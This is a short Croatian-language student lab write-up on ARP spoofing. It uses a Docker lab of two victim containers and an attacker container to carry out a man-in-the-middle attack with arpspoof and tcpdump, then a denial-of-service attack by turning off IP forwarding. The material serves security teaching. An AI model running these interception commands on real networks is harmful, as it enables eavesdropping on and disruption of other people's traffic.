

• Lab 1: Man-in-the-middle attack (ARP spoofing)

U ovoj vježbi analizirat ćemo ranjivost *Address Resolution Protocol*-a (ARP) koja napadaču omogućava izvođenje *man in the middle* (MitM) i *denial of service* (DoS) napada na računala koja su dio iste lokalne mreže (LAN-a).

Napad smo realizirali uz pomoć virtualne Docker mreže koja se sastojala od 3 virtualna container-a : dvije žrtve(station-1 i station-2) i jedan napadač(evil-station).

- Prvo smo pokrenuli Windows terminal aplikaciju i Ubuntu terminal na WSL-u.

- Zatim kloniramo repozitorij s github-a :

```
git clone https://github.com/mcagalj/SRP-2022-23
```

- Mijenjamo direktorij s naredbom `cd`

```
cd SRP-2022-23/arp-spoofing/
```

- Za pokretanje/zaustavljanje docker container-a koristimo naredbe `start.sh` i `stop.sh`

- Pokrenuli smo zasebni shell za station-1 i station-2

```
docker exec -it station-1 bash
```

```
docker exec -it station-2 bash
```

- Koristili smo naredbu `ipconfig` kako bi saznali IP i MAC adrese

- Provjerili smo nalazi li se station-2 uređaj na istoj mreži uz pomoć naredbe `ping station-2`

- S naredbom `netcat -l -p 8080` postavili smo station-1 za server

- S naredbom `netcat station-2 8080` postavili smo station-2 za client

- Pokrenuli smo shell za evil-station

```
docker exec -it evil-station bash
```

- Kako bi presreli promet između station-1 i station-2, evil-station smo predstavili stationu-1 kao station-2 koristeći:

```
arpspoof -t station-1 station-2 i tcpdump
```

Tako smo narušili integritet i povjerljivost.

- Izvodi se i denial of service (DoS) napad u slučaju da presretene poruke evil-station

```
ne prosljedi stationu-2  
echo 0 > /proc/sys/net/ipv4/ip_forward
```